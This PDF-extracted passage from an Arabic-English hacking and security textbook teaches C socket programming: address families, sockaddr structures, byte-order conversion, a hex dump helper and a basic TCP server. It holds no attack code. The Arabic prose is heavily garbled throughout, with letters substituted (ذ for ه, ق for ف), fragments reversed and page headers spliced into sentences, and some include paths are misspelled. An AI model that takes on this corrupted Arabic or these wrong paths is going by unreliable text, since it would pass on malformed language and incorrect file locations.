
Domain
ً ‫ قمث‬Protocol Family ‫وذو نوع ال‬
.!‫ أم غريذم‬IPv6 ‫ أم‬IPv4 ‫ال يمكنك حتديد ما اذا كنت ستتعامل مع‬

Networking
[122]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Type
.TCP or UDP ‫ ما لذا كان‬Socket Type ‫ونَعني ِبا ال‬

Protocol
.‫ األوىل ُمس َبق ًا‬Argument ‫ يف ال‬protocol ‫ ألننا َحدَ دنا نوع ال‬unspecified ‫ب َمعنى‬.. 0 ‫رتكها‬
ُ ‫َس َن‬

/bits/socket.h :‫رب َذذا املَسار‬


َ ‫ َهلا َع‬define ‫ تَم َع َمل‬protocol families ‫َذذه ال‬
ُ ‫َس‬
..‫ عىل عدة أجزاء‬library ‫نأطذ ُحمتويات ذذه ال‬

:protocol families ‫ وذو اخلاص بال‬،‫لنبدأ بأول جزء‬


/* Protocol families. */
#define PF_UNSPEC 0 /* Unspecified. */
#define PF_LOCAL 1 /* Local to host (pipes and file-domain). */
#define PF_UNIX PF_LOCAL /* Old BSD name for PF_LOCAL. */
#define PF_FILE PF_LOCAL /* Another nonstandard name for PF_LOCAL. */
#define PF_INET 2 /* IP protocol family. */
#define PF_AX25 3 /* Amateur Radio AX.25. */
#define PF_IPX 4 /* Novell Internet Protocol. */
#define PF_APPLETALK 5 /* Appletalk DDP. */
#define PF_NETROM 6 /* Amateur radio NetROM. */
#define PF_BRIDGE 7 /* Multiprotocol bridge. */
#define PF_ATMPVC 8 /* ATM PVCs. */
#define PF_X25 9 /* Reserved for X.25 project. */
#define PF_INET6 10 /* IP version 6. */
...

Networking
[123]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:Sockets ‫اجلُزء الثاين وذو طاص بأنواع ال‬


/* Types of sockets. */
enum __socket_type
{
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte
streams. */
#define SOCK_STREAM SOCK_STREAM
SOCK_DGRAM = 2, /* Connectionless, unreliable datagrams of fixed
maximum length. */
#define SOCK_DGRAM SOCK_DGRAM
...

:‫ وذم‬Sockets ‫الحظ نوعي ال‬


Stream (TCP)
Datagram (UDP)

Socket Address

:‫كام نعلم أنه إلنشاء قناة االتصال بني طرقني قنحن بحاجة ألربعة متغريات أساسية ذي‬
Source Address, Source Port, Destination Address, and Destination Port
‫نحتاج ُه يف عملية‬
ُ ‫“ الذي‬Socket Address Structure” ‫ التي رشحناذا باألعىل بتحديد نوع ال‬functions ‫تقوم ال‬
object ‫ قمثالً املالمح العامة لل‬،‫ املُستخدَ م‬Address ‫ با َملالمح العامة لل‬Address Structure ‫ نقصد بال‬،‫االتصال‬

َ ‫ ُُمَص‬32 bits‫ و‬،address family ‫ لل‬16 bits ‫ تكون عبارة عن‬IPv4 Address ‫اخلاص بال‬
16 bits ‫ و‬،IP ‫صة لل‬

َ ‫ وذذا بال‬Port No ‫ُُمَص َصة لل‬


.Address Family ‫ وذكذا مع بقية ال‬..IPv6 ‫ اخلاص بال‬object ‫طبع َخيتلف عن ال‬

.!‫ ثابت وقارغ‬Structure ‫حاجة لىل‬


َ ‫َحن ب‬
ُ ‫بالتايل ن‬

Networking
[124]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ُيمكنُنا َملئ ُه َح َسب نوع ال ‪ Address Structure‬الذي َسنستَخدمه‪ .‬لذ ًا َقام احلل؟‪.‬‬
‫سنستخدم ال ‪ Struct‬هلذه ا ُملهمة!‪ ،‬ذل تَذكُّر الدلو الذي حتدثنا عنه يف الباب األول؟‪ ،‬وكي َ‬
‫ف ُقمنا باستنساخ أشكال‬
‫تُشبه ُه َمتَام ًا‪ ،‬وأطلقنا عليها اسم )‪.(Objects‬‬

‫دعني ُأ َذك ُِّرك بمثال ال ‪ ،time.c‬كُنا قد َعرقنا ‪ Struct tm‬به ُمتغريات قار َغة‪ُ ،‬ثم أطذنا من ُه ‪ ،Object‬و ُقمنا بملئ ذذه‬
‫ا ُملتغريات أو ال ‪ Elements‬املوجوده بداطل ذذا ال ‪.Object‬‬

‫َسنقوم ُذنا أيض ًا باستخدام بعض ال ‪ Structs‬اخلاصة بال ‪ Sockets‬وال ‪ OSI Layers‬التي تَم تَعريفها وكتابتها ُمسبق ًا‬
‫كَام قعلنا يف حالة ال ”‪.“Struct tm‬‬

‫حيث تم َختصيص ‪ 16 bytes‬ل ُه‪ ،‬ذ َي عبارة عن‪:‬‬


‫ُ‬ ‫َسنُشاذد ال ‪ Struct‬العام‪ ..‬ن َُسميه "‪.."sockaddr‬‬

‫(‪ُُ )2 bytes‬مَص َصة لل ‪ ،Address Family‬وال (‪ )14 bytes‬ا ُملتبقية ُطص َ‬


‫صت لل ‪.Address Data‬‬

‫ذذا ذو شكله‪:‬‬

‫الحظ َعدَ د اخلانات يف الشكل ‪ 16‬طانة‪ ،‬أو ‪.16 bytes‬‬

‫عرب عنه‪:‬‬
‫وذذا ذو الكود الذي ُي ِّ‬

‫‪Networking‬‬
‫]‪[125‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

/* Get the definition of the macro to define the common sockaddr


members. */

#include <bits/sockaddr.h>
/* Structure describing a generic socket address. */

struct sockaddr
{
__SOCKADDR_COMMON (sa_); /* Common data: address family and
length. */
char sa_data[14]; /* Address data. */
};

Address Families ‫ وذو ال‬Lib ‫وصلنا آلطر ُجزء نُريد ُه من ذذه ال‬

/user/include/bits/socket.h
/* Address families. */
#define AF_UNSPEC PF_UNSPEC
#define AF_LOCAL PF_LOCAL
#define AF_UNIX PF_UNIX
#define AF_FILE PF_FILE
#define AF_INET PF_INET
#define AF_AX25 PF_AX25
#define AF_IPX PF_IPX
#define AF_APPLETALK PF_APPLETALK
#define AF_NETROM PF_NETROM
#define AF_BRIDGE PF_BRIDGE
#define AF_ATMPVC PF_ATMPVC
#define AF_X25 PF_X25
#define AF_INET6 PF_INET6

.IPv4 ‫ اخلامس يف الرتتيب ذو الذي ُي َع ِّرب عن ال‬Address Family ‫الحظ أن ال‬


AF: Address Family, PF: Protocol Family

Networking
[126]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

IPv4 ‫“ طاص بال‬Socket Address” ‫ذذا مثال ل‬.‫لنتبه له قسنقوم باستخدامه باستمرار بقية الفصل‬
/* Structure describing an Internet socket address. */
struct sockaddr_in
{
__SOCKADDR_COMMON (sin_);
in_port_t sin_port; /* Port number. */
struct in_addr sin_addr; /* Internet address. */

/* Pad to size of 'struct sockaddr'. */


unsigned char sin_zero[sizeof (struct sockaddr) -
__SOCKADDR_COMMON_SIZE -
sizeof (in_port_t) -
sizeof (struct in_addr)];
};

:)‫ذكذا يكون شكله (الشكل الثاين‬

َ ‫ وكالذم َيش َغل م‬،IPv4 Socket ‫ والثاين ذو ال‬."General Socket" ‫ األول ذو ال‬Socket ‫ أن ال‬..‫كام تُالحظ‬
‫ساحة‬
‫ َحت َت عنوان‬IPv4 ‫ اخلاص بال‬Structure ‫ يف ال‬8bytes ‫ َلكن َذل تُالحظ َمعي وجود َعدَ د‬،16 bytes

Networking
[127]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫حاجة‬ ُ ‫ ن‬..‫ ألن ُه كَام تَع َلم‬..16 bytes ‫ وذذا لتَكملة باقي ال‬،‫ َل َقد تَم لضاقتهم دون حاجة‬.‫" ؟؟‬Extra padding" ‫ال‬
َ ‫َحن ب‬
:!‫ملاييل قحسب‬

- 2 bytes for “family type”


- and 2 bytes for “port number”
- and (8 bits * 4 = 32 bits = 4 bytes( for “IP Address” field

.Padding ‫ َق ُقمنا بإكامل الباقي بإضاقة‬،!‫ ققط‬8 bytes ‫قيكون املجموع‬

Big-Endian Byte Ordering

“AF_INET Socket address structure” ‫ ا ُملستخدَ مان يف ال‬Port Number ‫ وال‬IP Address ‫الحظ أن ال‬
َ ‫من ا ُمل‬
”x-86 little-Endian byte ordering”‫" بدالً من ال‬Network Byte Ordering" ‫َس َيت َبعان ال‬

‫؟‬..Endian ‫ماذذا ال‬


Endianness refers to the order of the Bytes; It also describes the order of byte transmission over a
digital link.

Big-endian is the most common format in data networking; fields in the protocols such as IPv4,
IPv6, TCP, and UDP, are transmitted in big-endian order.

.."Bits over the link" ‫حاجة إلرسال‬


َ ‫َحن ُذنا ب‬
ُ ‫ن‬

Networking
[128]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫نُريد استخدام تقنيات الشبكات!‪،‬وبالتايل ال ُبد من َع َمل ‪ Convert‬هلَذه ال ‪ fields‬التي لن ُيمكنُها العبور طالل‬
‫الشبكة وذي يف حالة ال ‪.!Little-Endian‬‬

‫وتتعامل ال ‪ Memory‬مع ال ‪ Big-Endian‬بشكل ُُمتلف عن ال ‪ Little-Endian‬كامييل‪:‬‬


‫يف حالة ال ”‪ “Big-Endian ordering‬كام يظهر يف اجلهة ال ُيمنى‪:‬‬
‫قلو أردنا ختزين ذذا ال ‪ input‬يف الذاكرة َق َيتم قرائت ُه من اليسار لىل اليمني‪.‬‬
‫‪The most significant byte (MSB) value, "0A" is at the lowest address‬‬

‫ويف حالة ال "‪ "Little-Endian‬سيتم قرائته من اليمني لىل اليسار‪.‬‬


‫‪The least significant byte (LSB) value, "0D", is at the lowest address.‬‬
‫كام ذو موضح يف اجلهة ال ُيُسى‪.‬‬

‫تقوم بعض ال ‪ functions‬بعمل ذذا ال ‪ ..Conversion‬سأذكُرذا لك‪:‬‬

‫‪Networking‬‬
‫]‪[129‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

htonl(long value) Host-to-Network Long


This function converts 32-bit (4-byte) quantities from host byte order to network byte order. htonl means
host to network long!

htons(short value) Host-to-Network Short


This function converts 16-bit (2-byte) quantities from host byte order to network byte order.

ntohl(long value) Network-to-Host Long


This function converts 32-bit quantities from network byte order to host byte order.

ntohs(long value) Network-to-Host Short


This function converts 16-bit (2-byte) quantities from network byte order to host byte order.

Conversion between IPv4 and 32-bit int

‫" قلن‬the internet standard dot notation" ‫ مثالً والتي ُيطلق عليها‬54.208.202.125 ‫عندما نكتُب ذذه الصيغة‬
‫َواجد‬ ِّ ‫ ا ُمل‬functions ‫ حيث أن ال‬،!Socket ‫يفهمها ال‬
ُ ‫" ومن ُذنا ظهرت احلاجة لت‬32-bits order" ‫كونة ل ُه تتعا َمل بال‬
.!‫" والعكس‬32-bits integer" ‫ لىل ال‬ASCII ‫ تقوم بالتحويل من ال‬functions
.functions ‫دعنا نلق نظرة عىل ذذه ال‬

:‫ األوىل‬function ‫ ال‬#
inet_aton(char *ascii_addr, struct in_addr *network_addr)

This function converts the specified string in the Internet standard dot notation “*ascii_addr”
to a network address “*network_addr”, and stores the address in the structure provided
“struct in_addr”.
The converted address will be in Network Byte Order (bytes ordered from left to right).

Networking
[130]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ تَم‬32-bits int ‫ بصيغة ال‬IP Address ‫ حيمل ال‬Struct ‫ لنه‬،!‫؟ دعني ُأ َذكّرك به‬struct in_addr ‫ذل َت ّذ ُكر ذذا ال‬
،AF_INET ‫" اخلاص بالعائلة‬Socket address structure"‫تعريفه داطل ال‬

‫ َجتد ُه عىل‬.in.h ‫ الذي ُي َع ِّرب َعنها يف امللف‬Structure ‫ لل‬Define ‫ تم عمل‬.Address Family for IPv4 ‫وذي ال‬
:Linux ‫ا َملسار التايل يف نظام‬
uer/include/netinet/in.h
‫ ماييل ُمعادلة توضح عملية التحويل من ال‬..General Structure ‫وقد استخدمنا ُه ُمسبق ًا عندما ُقمنا بمقارنته بال‬
.integer ‫" لىل ال‬IP Address in Dotted notation"
:‫ كام ييل‬Address ‫لنَفرض أن ال‬
The address is aaa.bbb.ccc.ddd
:‫قتكون معادلة التحويل كالتايل‬
number = (aaa*256^3) + (bbb*256^2) + (ccc*256^1) + (ddd*256^0)

(0) ‫ وأصغر رقم سيكون‬،)Address: 255.255.255.255( ‫ ألنه الرقم ا ُملقابل لل‬4294967295 ‫أكرب رقم سيكون‬

َ َ ‫ ألن ُه ال ُي‬،unsigned ‫ ال ُبد أن يكون‬integer ‫ الحظ أن ذذا ال‬،)Address: 0.0.0.0( ‫ألنه الرقم املُقابل لل‬
‫فرتض‬
.!‫ َحيمل َر َقم سالب‬IP ‫وجود‬

:‫ الثانية‬function ‫ ال‬#
:‫ ستكون عىل ذذا النحو‬ASCII ‫ لىل ال‬Network ‫ُحول من ال‬
ِّ ‫والتي ست‬
inet_ntoa(struct in_addr *network_addr)

“This function converts the specified Internet host address to a string in the Internet standard dot
notation”.

Networking
[131]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

The error.h

..‫ َحتديد ًا‬Heap ‫ يف مثال ال‬،‫ التي كُنا َقد استخدمناذا يف الفصل السابق‬Functions ‫ُأحب أن ُأذكِّرك ب َبعض ال‬
.fatal( ) ‫ وال‬ec_malloc( ) ‫لهنا‬

..‫سأضعهم َلك جمدد ًا‬


// A function to display an error message and then exit
void fatal(char *message) {
char error_message[100];
strcpy(error_message, "[!!] Fatal Error ");
strncat(error_message, message, 83);
perror(error_message);
exit(-1);
}

// An error-checked malloc() wrapper function


void *ec_malloc(unsigned int size) {
void *ptr;
ptr = malloc(size);
if(ptr == NULL)
fatal("in ec_malloc() on memory allocation");
return ptr;
}

.‫ عىل حدة لنستدعيهم وقت احلاجة‬include ‫ قسنقوم بوضعهم يف ملف‬،‫بام أننا سوف نستخدمهم بشكل ُمستمر‬
.error.h ‫سنُطلق عليه‬

.‫؟‬packet analysis ‫ذل َس َب َق لك التَعا ُمل مع برامج ال‬


‫الش َبكَة َلديك َيتم َعرضها‬
َ ‫رب كارت‬
َ ‫ ستُالحظ أن البيانات التي َيتم التقاطها َع‬،TCPDump ‫ أو‬wireshark ‫مثل ال‬
.‫ وذ َي ال ُل َغة ا َملقروءة َلنا‬ASCII ‫ و أيض ًا َِبيئة ال‬Hexadecimal ‫ َجتد ال َبيانات َِبيئة ال‬..ً‫ َق َمثال‬،‫بعدّ ة ص َيغ‬

Networking
[132]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ُيمكنُنا تلخيص ما نُشاذد ُه َِبذه الصورة‪:‬‬

‫كام ترى قنحن نقوم بتخزين البيانات ا ُملست َ‬


‫َلمة يف ال ‪ ،memory‬حيث يتم عرضها بصيغة ال ‪ Hex‬وذلك بحد أقىص‬

‫‪ 16 bytes‬يف الصف الواحد‪ ،‬ثم عىل اليمني نطلب منه لظهار ال "‪ "Printable bytes‬ا ُملل َت َق َطه من ذذه البيانات‪ّ ،‬‬
‫أي‬
‫األحرف أو الرموز ا َملكتوبة بواسطة الكيبورد‪ .‬واآلن سنقوم بكتابة كود صغري يقوم ِبذه ا ُملهمة الرائعة!‪:‬‬

‫ُخزن قيه ال ‪ bytes‬املُست َل َمة‪ ،‬و ‪ integer‬لنضع به ال "‪،"length of received bytes‬‬


‫ذذا الكود عبارة عن ‪ buffer‬ن ِّ‬
‫كي نَعرف من طالله عدد ال ‪ bytes‬ا ُملست َل َمة‪.‬‬
‫ثم ‪ Loop‬لتقوم ب َعد ال ‪ bytes‬كي يتسنى لنا عرضها بصفوف ال تتجاوز ال ‪ 16 bytes‬وبصيغة ال ‪ ،Hex‬ولكن ليست‬
‫تلك ال ‪ ،%x‬بل ستكون ”‪.. “%02x‬‬
‫وملاذا استخدمنا ذذه الصيغة؟؟‪.‬‬
‫ألن ذذه الصيغة تعني‪ :‬لطبع ‪ُ ،2 digits‬ثم اترك بعدذم مساقة‪ ،‬ثم ‪ 2 digits‬وذكذا‪ ..‬ووجود ال )‪ (0‬ذنا قبل ال ‪2‬‬

‫نعني به ”‪ “prepend it with zeros if there is less‬وذو لكامل احلقول الفارغة بأصفار‪.‬‬

‫‪Networking‬‬
‫]‪[133‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

.!‫ كي نُظهرذا عىل اليمني كام رأيت‬printable characters ‫ مر ًة ثانية ولكن اللتقاط ال‬Loop ‫ثم نقوم بعمل‬

:Dump( ) ‫ُسميها‬
ِّ ‫ سن‬،Function ‫ماييل الكود اخلاص بال‬
// Dumps raw memory in hex byte and printable split format
void dump(const unsigned char *data_buffer, const unsigned int length)
{
unsigned char byte;
unsigned int i, j;
for(i=0; i < length; i++) {
byte = data_buffer[i];
printf("%02x ", data_buffer[i]); // Display byte in hex.
if(((i%16)==15) || (i==length-1)) {
for(j=0; j < 15-(i%16); j++)
printf(" ");
printf("| ");
for(j=(i-(i%16)); j <= i; j++) { // Display printable bytes from line.
byte = data_buffer[j];
if((byte > 31) && (byte < 127)) // Outside printable char range
printf("%c", byte);
else
printf(".");
}
printf("\n"); // End of the dump line (each line is 16 bytes)
} // End if
} // End for
}

:‫ذم‬.. ُ function ‫ذذه‬


ُ “Two Parameters” ‫تأطذ‬
‫ والثاين ذو‬،‫" سنقوم بتحديد مساحته نحن بنا ًء عىل كَم البيانات الذي سنتوقع استقباهلا‬pointer to a buffer" ‫األول‬
ُ ‫ ُثم‬."received … of bytes" ‫ ل َيط َبع َلنا رسالة‬bytes ‫ حلَجم تلك ال‬count ‫ ل َيقوم ب َعمل‬integer
Loop ‫ندطل لىل ال‬

Networking
[134]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لنقوم ب َعد ال ‪ bytes‬من أجل عرضها عىل الشاشة‪ ،‬وكام ُقلنا مسبق ًا أننا بحاجة لعرضهم بصيغة ال ‪ Hex‬وبحد أقىص‬
‫‪ 16 bytes‬يف الصف الواحد‪..‬‬
‫األطري ذذا ُيعترب رشط ًا!‪ ،‬أليس كذلك؟‪ ،‬قسنستخدم له دالة ‪ If‬لتقوم لنا بأمرين‪:‬‬
‫‪ ‬األول‪ :‬ستقوم بعمل قصل بني كل "‪ "two digits‬بمقدار َمسا َقتَني "‪."two spaces‬‬

‫‪ ‬الثاين‪ :‬عندما يكتَمل ال ‪ byte‬رقم ‪ 16‬ستقوم بوضع الرمز "|" متبوع ب "‪ "two spaces‬أيض ًا كام ذو موضح‬

‫يف الكود‪.‬‬

‫واآلن ماذا عن ال ‪Printable data‬؟ وذي التي تأيت بجانب ال "‪."16 bytes of Hex‬‬

‫سنقوم أيض ًا بعمل ‪ُ Loop‬أطرى داطل َذذه ال ‪ bytes‬لنَلتَقط منها ال ‪.printable characters‬‬

‫ولكن ما ذذا الرشط الغري مألوف!‬


‫))‪if((byte > 31) && (byte < 127‬‬

‫ماذا نعني بأكرب من ‪ 31‬و أصغر من ‪127‬؟‪.‬‬


‫ذذا رشط ُحيدد لنا عدم طباعة ال َعنارص التي تقع طارج ذذا ال ‪ range‬من ال ‪ character‬ولذا صادقت عنارص طارج‬
‫ذذا النطاق‪ ،‬قلن تقوم بعرضها!‪ ،‬ولكن ستطبع بدالً منها )‪ (.‬ققط‪.‬‬
‫نعم‪ ..‬ولكن ما ذذه ال ‪ 127‬بأي حال؟‬
‫لهنا ال ‪ASCII table‬‬
‫‪ASCII, abbreviated from American Standard Code for Information Interchange, is a character-‬‬
‫‪encoding scheme. ASCII codes represent text in computers, communications equipment, and‬‬
‫‪other devices that use text. Most modern character-encoding schemes are based on ASCII,‬‬
‫‪though they support many additional characters.‬‬

‫‪Networking‬‬
‫]‪[135‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وذذا ال ‪ table‬اخلاص ِبم‪ ،‬ذذا يوضح لنا أكثر الرشط املذكور يف دالة (‪.)if‬‬

‫لقد َحددنا الرشط ليقوم بطباعة ال ‪ characters‬الواق َعة بني ال (‪ 31‬و ‪َ ،)127‬ق َمث ً‬
‫ال ‪ 127‬تعني ‪ Del‬يف الكيبورد‪ ،‬ونَح ُن‬
‫ال نُريد ُه يف نَتائج الكود!‪ .‬ولكن لذا َظ َه َر يف ال ‪ bytes‬قسنقوم بطباعة )‪َ (dot‬بدَ الً من ُه‪.‬‬

‫جيد!!‪.‬‬

‫سنقوم بإضاقة ذذه ال ‪ function‬أيض ًا لىل امللف ‪ .. error.h‬قسيتم استخدامها ب َشكل ُم ِّ‬
‫تكرر‪.‬‬

‫‪Networking‬‬
‫]‪[136‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Some Definitions

#Define ‫ و ال‬Function Prototype ‫وذم ال‬ ُ ‫اك نُقطتني ُأح‬


َ ‫ب أن أحتدث عنهم قب َل اإلنتهاء من َذذه ال َف‬
ُ ،‫قره‬ َ ‫ُذن‬

Function prototype
:"function prototype" ‫ذذا تعريف ال‬
a function prototype or function interface is a declaration of a function that specifies the
function's name and type signature (parameter types, and return type), but omits the function
body. While a function definition specifies how the function does what it does (the
"implementation"), a function prototype specifies its interface.

:‫ سأوضح لك ما يعنيه بمثال‬،‫لقد استخدمناه ُمسبق ًا يف بعض األكواد‬


Consider the following function prototypes:

int myfunction(int n);


This prototype specifies that in this program, there is a function named "myfunction" which
takes a single integer argument "n" and returns an integer.
ٍ
.!‫ الفعلية‬function ‫مكان ما داطل الربنامج سيتم كتابة ذذه ال‬ ‫ويف‬

#Define
‫ لكن ُه ليس‬variable ‫ ذو يف احلقيقة ُيشبه ال‬،‫ أيض ًا َسنَستخدمه يف األكواد القادمة‬،‫ كام ُيطلقون عليه‬Directive ‫ذذا ال‬
#define ‫ قال‬،"constant name" ‫ بينام اآلطر ُيعت ََرب‬،‫ قا ُملتغري ُيمكن للربنامج أن يتحكم يف قيمته باستمرار‬،!‫كذلك‬

ً ‫ َق َمث‬،‫ يف أي مكان داطل الكود‬const value ‫ذذا ُي َم ِّكنُك من استخدام َذذا ال‬
‫ ب َعينه لنَستَقبل‬port ‫ال عندَ ما ن َُحدِّ د‬

Networking
[137]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ ُقم‬port ‫ "متى ما وجدت لفظة‬:‫ يف بداية الربنا َمج بأن نُخرب ُه باآليت‬port ‫ هلَذا ال‬define ‫ َق َسنقوم ب َع َمل‬،‫اإلتصال َعليه‬
:‫ كام ييل‬3544 ً‫ وذو مثال‬،"‫باستبداهلا ب َرقمه‬

#define port 3544

..‫لقد َأص َبحنا اآلن جاذزين الستقبال الفقرة القادمة‬


."Socket functions" ‫سنقوم بطرح مثال عميل باستخدام ال‬

Server Example

:‫ وقق ًا ملا ييل‬client ‫ من ال‬session ‫ يقوم بانتظار ال‬Server ‫يف ذذا املثال سنقوم بكتابة كود ل‬
The server listens for TCP connections on port 6900, and when a client connects,
it (the server) sends a message “Hello, Server”.
.connection ‫ لىل أن َيتم َغلق ال‬client ‫ من َذذا ال‬Data ‫ُثم َيبدأ باستقبال‬

:‫ذيا لنشاذد التفاصيل‬


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "error.h"

Networking
[138]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

#define PORT 6900 // The port users will be connecting to

int main(void) {
int sockfd, new_sockfd; // Listen on sock_fd, new connection on new_fd
struct sockaddr_in host_addr, client_addr; // My address information
socklen_t sin_size;
int recv_length=1, yes=1;
char buffer[1024];

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)


fatal("in socket");

if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes,


sizeof(int)) == -1)
fatal("setting socket option SO_REUSEADDR");

host_addr.sin_family = AF_INET; // Host byte order


host_addr.sin_port = htons(PORT); // Short, network byte order
host_addr.sin_addr.s_addr = 0; // Automatically fill with my IP.
memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct.

if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct


sockaddr)) == -1)
fatal("binding to socket");

if (listen(sockfd, 5) == -1)
fatal("listening on socket");

while(1) { // Accept loop.


sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr,
&sin_size);

if(new_sockfd == -1)
fatal("accepting connection");

Networking
[139]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

printf("server: got connection from %s port %d\n",


inet_ntoa(client_addr.sin_addr),
ntohs(client_addr.sin_port));

send(new_sockfd, "Hello, server\n", 13, 0);


recv_length = recv(new_sockfd, &buffer, 1024, 0);
while(recv_length > 0) {
printf("RECV: %d bytes\n", recv_length);
dump(buffer, recv_length);
recv_length = recv(new_sockfd, &buffer, 1024, 0);
}
close(new_sockfd);
}
return 0;
}

:!‫لنبدأ بتوضيح ما حيدُ ث‬


‫ ا ُملشار لليهم‬functions ‫أي من الثالث‬
ٍّ ‫كي نتمكن من استدعاء‬ #include "error.h" ‫ُقمنا بإضاقة امللف‬
.6900 ‫ وذو‬،"port whom our server is listening on" ‫ لنُحدد ال‬#define ‫ أيض ًا استخدمنا ال‬.‫سابق ًا‬

‫ ؟‬int sockfd, new_sockfd; :‫ماذا نقصد ِبذه العبارة‬


.‫؟‬file descriptor ‫ذل تذكُر ال‬
entry ‫ ذذا ال‬،kernel ‫ داطل ال‬Entry ‫ يتم لنشاؤه سيؤدي لىل حدوث‬Socket ‫ت ََذكر أن أي ملف يتم قتحه أو أي‬

‫ أو ا َمللف الذي‬Socket ‫ هلذا ال‬reference ‫) ُيستخدم ك‬Entry( ‫ ذذا الرقم أو ال‬،fd ‫ يسمى ال‬integer ‫ُي َعرب عنه برقم‬
.‫تَم َقتحه‬
‫ الثاين؟‬fd ‫ولكن ما قائدة ال‬.. ،!‫ذذا جيد‬

Networking
[140]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫سوف نَحتاجه ألننا َقد استَخدَ منا ال ‪ fd‬األول أثناء َع َملية ال "‪ ،"Listening for incoming connection‬بينام‬
‫سنحتاج ل ‪َ fd‬جديد‪َ ،‬ب َمعنى أننا َسنحتاج ‪ entry‬أطرى داطل ال ‪ kernel‬طاصة َِبذه ال ‪ process‬اجلديدة وذي ال‬
‫‪ connection‬الذي َس َيحدُ ث!‪.‬‬
‫حيث ُقمنا باشتقاقها م َن ال ‪ Struct‬العام كام ترى‪:‬‬
‫ُثم ُقمنا بتَعريف ال ‪ objects‬التي نُريد‪ُ ،‬‬
‫;‪struct sockaddr_in host_addr, client_addr‬‬
‫الذم َس َيحمل ُحمت ََويات ال ‪ُ ..general structure‬ثم ُقمنا ب َع َمل ‪ declare‬ل َبعض ا ُملتَغريات‪َ ،‬س َيجري‬
‫ت ََذكّر أن ك ُ‬
‫تَوضيحهم قيام بعد‪.‬‬

‫نأيت ألول ) (‪ function‬وذي ال ) (‪.. socket‬ستحتاج منّا ثالثة ‪:Arguments‬‬

‫‪ Protocol family: IPv4‬‬


‫)‪ Socket type: Stream (TCP‬‬
‫‪ Number of protocols inside this family: 0 there is only one protocol! IPv4‬‬

‫َذذه ال ‪ function‬تُرجع َلنا قيمة ‪ int‬ذ َي ال ‪ fd‬اخلاص َِبذا ال ‪َ socket‬سنقوم بتَخزينها ُذنا "‪ ."sockfd‬بالطبع‬
‫سيحدث ‪ call‬لل ) (‪ fatal‬يف حال َق َشل العملية كام ذو ُم َوضح يف الكود‪ُ .‬ثم نَميض لل ‪ function‬التالية وذي‬
‫) (‪ setsockopt‬لن َُحدِّ د من طالهلا ال ‪ options‬ا ُملتع ِّل َقة َِبذا ال ‪ .socket‬ذذه ال ‪ options‬وغريذا موجودة عىل املسار‬
‫‪/user/include/asm/socket.h‬‬

‫دعنا نلق نظرة عىل ذذه ال ‪:function‬‬


‫)‪setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1‬‬

‫‪Networking‬‬
‫]‪[141‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لهنا تَستَقبل عدة ‪َ ..Arguments‬سنقوم بتَوضيحهم‪:‬‬


‫‪ ‬األول ذو ال ‪ Socket‬نفسه‪ ،‬وذذا منطقي!‪َ ،‬سنُعطيها ال ‪ fd‬اخلاص َِبذا ال ‪.socket‬‬

‫‪ ‬ال ‪ argument‬الثانية ُوض َعت لتَحديد نوع ال ‪(to set the level of the option) option‬‬

‫‪ ‬ال ‪ Argument‬الثالثة‪ "specifies the option itself ":‬وذي ال ‪ REUSEADDR‬حيث نعني ِبا ماييل‪:‬‬
‫”!‪“Let the socket bind to a port, even if that port is in use‬‬
‫اولة َقتح ‪ُ port‬م َعني ال نَجد ُه ُمتاح!‪ ،‬ألن ُه ُربام يكون ُمستَخدَ م من قبَل أي ‪ُ service‬أطرى‪،‬‬
‫ألنه أحيان ًا عند ُحم َ‬

‫َق َسنَقوم ُذنا بإجباره عىل استخدام ذذا ال ‪.port‬‬

‫‪ ‬أما الرابعة واخلامسة َق ُهم ‪ pointer‬لل ‪ data‬اخلاصة بال ‪ ،option‬وال ‪ length‬اخلاص ِبا وذو ‪.4 bytes‬‬

‫وذم من نوع ‪ integer‬ألن ال ‪ SO_REUSEADDR‬تَستَخدم ”‪.“32-bit integer for its value‬‬


‫ُ‬

‫واآلن سنميض للجزء اخلاص بال ‪ objects‬التي اشتققناذا من ال ‪ struct sockaddr_in‬لنتحدث عنهم قليال‪.‬‬
‫سنقوم بعمل لعدادات ال (‪ )host_addr structure‬كام يظهر يف الكود بالصفحة التالية‪:‬‬
‫‪ ‬يف السطر األول حددنا ال ‪..address family: IPv4‬‬

